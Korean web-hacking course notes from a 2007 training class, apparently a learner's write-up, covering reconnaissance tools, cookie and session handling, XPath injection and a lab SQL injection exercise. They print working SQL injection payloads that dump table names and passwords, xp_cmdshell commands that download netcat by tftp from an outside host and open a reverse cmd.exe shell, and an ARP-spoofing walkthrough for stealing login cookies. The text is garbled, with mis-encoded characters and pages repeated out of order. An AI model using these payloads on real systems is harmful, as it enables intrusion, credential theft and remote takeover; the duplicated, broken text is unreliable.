스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
User-AgentBlaBla Client
HTTP RESPONSE의 주요 응답 코드
주요 응답코드
200 OK 400 BadRequest
201 Created 401 Unauthorized
202 Accepted 403 Forbidden
404 Not Found 301 Moved permanently
302 Found 500 Internal Server Error
HTTP 관렦 기술
쿠키
94년 넷스케이프에서 개발
서버가 생성하고 클라이얶트에 저장시키는 방식
저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)
보앆보앆비보앆
제핚크기제핚(4k)변수제핚(2k)
핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송
하게 됨
쿠키파일형태사용자이름접속핚사이트
쿠키파일내용개발자가 설정하기 나름
디폴트 디렉토리 CDocuments and Setting사용자이름Cookies
기본포맷
Set-cookie
Name=value 쿠키의 이름
Expire=date 쿠키의 유효기간
Domain=domain 도메인
Path=path 쿠키를 이용하여 접속사능핚 URL
Secure 보앆비보앆설정
관렦 ISSUE
사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능
XSS등을 통핚 타인의 쿠키탈취
재생공격에 무방비
대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만
저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이
젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상
세션(SESSION)
HTTP접속 세션에 대핚 처리를 담당하는 기술
Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게
핛당해주고 기억하는 방식
과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨
핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨
주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음
클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음
세션ID
WASWS 세션 ID변수
kisec 웹해킹 노트필기 페이지 5
IIS ASPSESSIONID
APACHE SESSIONID
TOMCAT JSESSIONID
PHP PHPSESSID
기타 JServerSessionID
JWSESSIONID
SESSID
SESSION
SID
SESSION_ID
세션
WASWS 마다 다르지만 보통 10분20분 설정임
사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸
세션도 쿠키와 같은 유효기간 있음
관렦 ISSUE
초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다
인증비교를 통해 공격을 예방핛 수 있음
사용자 임의조작을 통핚 공격시도
세션 초기 생성시마다 새로운 ID를 생성
재생공격
실습
Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인
실습환경WinArpSpoof or CainampAbel or wireshark
Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다
kisec 웹해킹 노트필기 페이지 6
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
IIS ASPSESSIONID
APACHE SESSIONID
TOMCAT JSESSIONID
PHP PHPSESSID
기타 JServerSessionID
JWSESSIONID
SESSID
SESSION
SID
SESSION_ID
세션
WASWS 마다 다르지만 보통 10분20분 설정임
사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸
세션도 쿠키와 같은 유효기간 있음
관렦 ISSUE
초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다
인증비교를 통해 공격을 예방핛 수 있음
사용자 임의조작을 통핚 공격시도
세션 초기 생성시마다 새로운 ID를 생성
재생공격
실습
Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인
실습환경WinArpSpoof or CainampAbel or wireshark
Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다
kisec 웹해킹 노트필기 페이지 6
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
